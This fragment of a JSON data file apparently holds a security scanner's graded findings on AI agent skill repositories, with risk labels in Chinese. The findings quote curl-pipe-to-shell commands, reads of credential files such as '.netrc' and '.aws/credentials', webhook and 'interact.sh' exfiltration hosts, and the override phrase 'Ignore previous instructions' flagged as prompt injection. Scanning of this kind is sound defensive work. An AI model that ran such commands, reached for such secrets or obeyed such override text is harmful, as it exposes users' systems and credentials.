"读取 SSH / 云账号身份文件 / 系统钥匙链（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": ".agents/skills/autoreview/tests/test_autoreview_hardening.py", "ln": 1517, "ev": ".netrc", "ctx": "code" }, { "p": ".agents/skills/autoreview/tests/test_autoreview_hardening.py", "ln": 1518, "ev": ".netrc", "ctx": "code" } ] }, { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": ".agents/skills/convex-improve-convex-plugin/SKILL.md", "ln": 14, "ev": "curl -fsSL \"/send-transcript\" | bash", "ctx": "inst" } ] }, { "k": "network", "lv": "high", "dim": "exfiltration", "msg": "疑似外传通道（webhook / paste / 即时通讯）", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": ".agents/skills/axiom-alerting/SKILL.md", "ln": 208, "ev": "hooks.slack.com", "ctx": "inst" } ] }, { "k": "poison", "lv": "high", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": ".agents/skills/writing-evals/SKILL.md", "ln": 247, "ev": "Ignore previous instructions", "ctx": "inst" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（5 处）", "n": 5, "ctx": [ "code", "inst" ], "ev": [ { "p": ".agents/skills/autoreview/tests/test_autoreview_hardening.py", "ln": 3691, "ev": "API_KEY = \"clawrouter-e2e-secret\"", "ctx": "code" }, { "p": ".agents/skills/convex-deploy-guard/SKILL.md", "ln": 14, "ev": "read `CONVEX_DEPLOYMENT` in .env", "ctx": "inst" } ] }, { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）", "n": 1, "ctx": [ "code" ], "ev": [ { "p": ".agents/skills/autoreview/tests/test_autoreview_hardening.py", "ln": 5397, "ev": "http://169.254.170.2", "ctx": "code" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（9 处）", "n": 9, "ctx": [ "code", "inst" ], "ev": [ { "p": ".agents/skills/building-dashboards/reference/splunk-migration.md", "ln": 127, "ev": "eval(", "ctx": "inst" }, { "p": ".agents/skills/spl-to-apl/.meta/DESIGN-NOTES.md", "ln": 60, "ev": "eval(", "ctx": "inst" } ] }, { "k": "poison", "lv": "low", "dim": "prompt-injection", "msg": "指令层出现「忽略既有指令」类越权指令（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": ".agents/skills/writing-evals/reference/templates/classification.eval.ts", "ln": 37, "ev": "ignore previous instructions", "ctx": "code" }, { "p": ".agents/skills/writing-evals/reference/templates/retrieval.eval.ts", "ln": 44, "ev": "ignore previous instructions", "ctx": "code" } ] } ], "dom": [ "docs.convex.dev", "example.invalid", "api.axiom.co", "clawhub.ai", "dashboard.clerk.com", "api.example" ], "nd": 88, "sig": "f45aa7382e31", "at": "2026-09-15" }, "heilcheng/awesome-agent-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 17, "cf": 9, "mf": 8, "nh": 0, "f": [], "dom": [ "registry.npmjs.org", "agent-skill.co", "opencollective.com", "www.linkedin.com", "x.com", "skillsmp.com" ], "nd": 20, "sig": "5d80ce07026d", "at": "2026-09-15" }, "anysearch-ai/anysearch-skill": { "g": "S", "s": 93.0, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 14, "cf": 7, "mf": 7, "nh": 1, "f": [ { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "scripts/anysearch_cli.py", "ln": 531, "ev": "Read from: --api_key > .env", "ctx": "code" } ] } ], "dom": [ "api.anysearch.com", "anysearch.com", "img.shields.io", "opensource.org", "www.anysearch.com", "jqlang.github.io" ], "nd": 6, "sig": "dbf925f32e80", "at": "2026-09-15" }, "browser-act/skills": { "g": "B", "s": 70.1, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 1, "nf": 267, "cf": 146, "mf": 121, "nh": 8, "f": [ { "k": "network", "lv": "high", "dim": "exfiltration", "msg": "疑似外传通道（webhook / paste / 即时通讯）（2 处）", "n": 2, "ctx": [ "code" ], "ev": [ { "p": "solutions/social-listening/xiaohongshu-search-full/scripts/extract-note-detail.py", "ln": 75, "ev": "interact.sh", "ctx": "code" }, { "p": "solutions/social-listening/xiaohongshu-search-full/scripts/extract-search-feeds.py", "ln": 90, "ev": "interact.sh", "ctx": "code" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "solutions/ecommerce/amazon-competitor-analyzer/SKILL.md", "ln": 59, "ev": "API_KEY=\"your-api-key-here\"", "ctx": "inst" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（5 处）", "n": 5, "ctx": [ "code" ], "ev": [ { "p": "solutions/lead-generation/google-maps-contact-extract/scripts/extract-contacts.py", "ln": 30, "ev": "exec(", "ctx": "code" }, { "p": "solutions/lead-generation/google-maps-contact-extract/scripts/extract-contacts.py", "ln": 36, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "www.browseract.com", "x.com", "www.amazon.com", "www.facebook.com", "www.etsy.com", "api.browseract.com" ], "nd": 88, "sig": "f8b9a2a314c4", "at": "2026-09-15" }, "internet-court/internet-court-skill": { "g": "B", "s": 73.1, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 1, "nf": 278, "cf": 16, "mf": 262, "nh": 9, "f": [ { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "vendored/nansen/nansen-mpp-payment/SKILL.md", "ln": 34, "ev": "curl -fsSL https://tempo.xyz/install | bash", "ctx": "inst" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（2 处）", "n": 2, "ctx": [ "doc" ], "ev": [ { "p": "vendored/heurist/heurist-mesh-skill/references/x402-payment.md", "ln": 8, "ev": "curl -L https://foundry.paradigm.xyz | bash", "ctx": "doc" }, { "p": "vendored/heurist/heurist-mesh-skill/references/x402-payment.md", "ln": 123, "ev": "curl -L https://foundry.paradigm.xyz | bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（3 处）", "n": 3, "ctx": [ "inst" ], "ev": [ { "p": "vendored/genlayer/write-contract/SKILL.md", "ln": 393, "ev": "eval(", "ctx": "inst" }, { "p": "vendored/genlayer/write-contract/SKILL.md", "ln": 407, "ev": "eval(", "ctx": "inst" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（3 处）", "n": 3, "ctx": [ "inst" ], "ev": [ { "p": "vendored/near/near-smart-contracts/SKILL.md", "ln": 33, "ev": "curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh", "ctx": "inst" }, { "p": "vendored/near/near-smart-contracts/SKILL.md", "ln": 39, "ev": "curl --proto '=https' --tlsv1.2 -LsSf https://github.com/near/cargo-near/releases/latest/download/cargo-near-i", "ctx": "inst" } ] } ], "dom": [ "metaplex.com", "developers.jup.ag", "api.jup.ag", "docs.near.org", "arweave.net", "gateway.irys.xyz" ], "nd": 162, "sig": "0deb8e659be6", "at": "2026-09-15" }, "bergside/awesome-design-skills": { "g": "S+", "s": 100.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 136, "cf": 1, "mf": 135, "nh": 0, "f": [], "dom": [ "typeui.sh", "awesome.re", "www.skybridge.tech", "www.typeui.sh" ], "nd": 4, "sig": "42fbd21b9cfd", "at": "2026-09-15" }, "ciembor/agent-rules-books": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 212, "cf": 0, "mf": 212, "nh": 0, "f": [], "dom": [ "www.goodreads.com", "refactoring.guru", "martinfowler.com", "www.pearson.com", "www.informit.com", "www.oreilly.com" ], "nd": 23, "sig": "f1ea124be2d7", "at": "2026-09-15" }, "rohitg00/awesome-claude-code-toolkit": { "g": "S", "s": 92.4, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 633, "cf": 160, "mf": 473, "nh": 13, "f": [ { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)（3 处）", "n": 3, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 42, "ev": "curl -fsSL https://raw.githubusercontent.com/rohitg00/awesome-claude-code-toolkit/main/setup/install.sh | bash", "ctx": "doc" }, { "p": "README.md", "ln": 315, "ev": "curl -fsSL plugin.ashlr.ai/install.sh \\| bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（6 处）", "n": 6, "ctx": [ "doc", "inst" ], "ev": [ { "p": "agents/language-experts/python-engineer.md", "ln": 93, "ev": "eval(", "ctx": "doc" }, { "p": "agents/language-experts/python-engineer.md", "ln": 93, "ev": "exec(", "ctx": "doc" } ] }, { "k": "privacy", "lv": "low", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（4 处）", "n": 4, "ctx": [ "doc" ], "ev": [ { "p": "commands/devops/k8s-manifest.md", "ln": 8, "ev": "Read `.env", "ctx": "doc" }, { "p": "plugins/env-manager/commands/env-validate.md", "ln": 5, "ev": "Read `.env", "ctx": "doc" } ] } ], "dom": [ "cc.storyfox.cz", "img.shields.io", "agenstskills.com", "api.star-history.com", "trendshift.io", "claude-plugins.riasistemas.com.br" ], "nd": 54, "sig": "c72d41133632", "at": "2026-09-15" }, "Prat011/awesome-llm-skills": { "g": "S", "s": 94.7, "note": "静态扫描未见高危项", "hi": 0, "md": 1, "nf": 224, "cf": 73, "mf": 151, "nh": 2, "f": [ { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 253, "ev": "curl -fsSL https://opencode.ai/install | bash", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "algorithmic-art/templates/generator_template.js", "ln": 133, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "schemas.openxmlformats.org", "openfontlicense.org", "schemas.microsoft.com", "notion.so", "...", "awesome.re" ], "nd": 19, "sig": "083ef1658a73", "at": "2026-09-15" }, "rohitg00/awesome-claude-design": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 63, "cf": 0, "mf": 63, "nh": 0, "f": [], "dom": [ "img.shields.io", "x.com", "www.youtube.com", "medium.com", "support.claude.com", "www.lennysnewsletter.com" ], "nd": 151, "sig": "2946e75af42c", "at": "2026-09-15" }, "gamedev-skills/awesome-gamedev-agent-skills": { "g": "S+", "s": 99.0, "note": "静态扫描未见高危项", "hi": 0, "md": 0, "nf": 189, "cf": 18, "mf": 171, "nh": 1, "f": [ { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "skills/disciplines/dialogue-systems/references/runner.md", "ln": 33, "ev": "eval(", "ctx": "doc" } ] } ], "dom": [ "create.roblox.com", "agentskills.io", "dev.epicgames.com", "docs.unity3d.com", "docs.godotengine.org", "img.shields.io" ], "nd": 31, "sig": "d449906f59bd", "at": "2026-09-15" }, "new-silvermoon/awesome-android-agent-skills": { "g": "S", "s": 100.0, "note": "纯文档型技能（无脚本），风险面小", "hi": 0, "md": 0, "nf": 2, "cf": 0, "mf": 2, "nh": 0, "f": [], "dom": [ "developer.android.com", "img.shields.io", "agentskills.io", "kotlinlang.org" ], "nd": 4, "sig": "78f30cfd58d8", "at": "2026-09-15" }, "Kulaxyz/self-learning-skills": { "g": "A", "s": 82.0, "note": "存在中低风险项，建议装前审读", "hi": 1, "md": 0, "nf": 7, "cf": 2, "mf": 5, "nh": 1, "f": [ { "k": "privacy", "lv": "high", "dim": "credential-access", "msg": "读取 SSH / 云账号身份文件 / 系统钥匙链", "n": 1, "ctx": [ "inst" ], "ev": [ { "p": "skills/self-learning/SKILL.md", "ln": 184, "ev": ".aws/credentials", "ctx": "inst" } ] } ], "dom": [ "agentskills.io", "skills.sh", "user" ], "nd": 3, "sig": "5b51d8c5ac21", "at": "2026-09-15" }, "infragate/capa": { "g": "B", "s": 58.2, "note": "存在高危或多项风险，建议人工复核后再装", "hi": 1, "md": 3, "nf": 374, "cf": 321, "mf": 53, "nh": 21, "f": [ { "k": "exec", "lv": "high", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "code" ], "ev": [ { "p": "install.sh", "ln": 112, "ev": "curl -LsSf https://capa.sh/install.sh | sh", "ctx": "code" } ] }, { "k": "network", "lv": "medium", "dim": "exfiltration", "msg": "向公网裸 IP 发请求（非私网/回环）（9 处）", "n": 9, "ctx": [ "code" ], "ev": [ { "p": "src/cli/commands/install-tasks/__tests__/install-rules.test.ts", "ln": 128, "ev": "https://169.254.169.254", "ctx": "code" }, { "p": "src/cli/utils/__tests__/hooks-installer.test.ts", "ln": 294, "ev": "https://8.8.8.8", "ctx": "code" } ] }, { "k": "privacy", "lv": "medium", "dim": "credential-access", "msg": "读取或写入环境变量文件 / 硬编码密钥（6 处）", "n": 6, "ctx": [ "code" ], "ev": [ { "p": "src/cli/commands/__tests__/auth-command.test.ts", "ln": 306, "ev": "access_token: 'gho_headless_test'", "ctx": "code" }, { "p": "src/cli/index.ts", "ln": 166, "ev": "ready used for .env", "ctx": "code" } ] }, { "k": "exec", "lv": "medium", "dim": "dangerous-exec", "msg": "远程脚本管道执行 (curl|bash / wget|sh)", "n": 1, "ctx": [ "doc" ], "ev": [ { "p": "README.md", "ln": 64, "ev": "curl -LsSf https://capa.sh/install.sh | sh", "ctx": "doc" } ] }, { "k": "exec", "lv": "low", "dim": "dangerous-exec", "msg": "动态求值执行 (eval / exec / new Function)（4 处）", "n": 4, "ctx": [ "code" ], "ev": [ { "p": "src/cli/utils/agents-file/snippets.ts", "ln": 126, "ev": "exec(", "ctx": "code" }, { "p": "src/cli/utils/rules-installer.ts", "ln": 146, "ev": "exec(", "ctx": "code" } ] } ], "dom": [ "gitlab.com", "auth.example", "capa.sh", "mcp.example", "opencode.ai", "skills.sh" ], "nd": 68, "sig": "d232b447d8b1", "at": "2026-09-15" } } }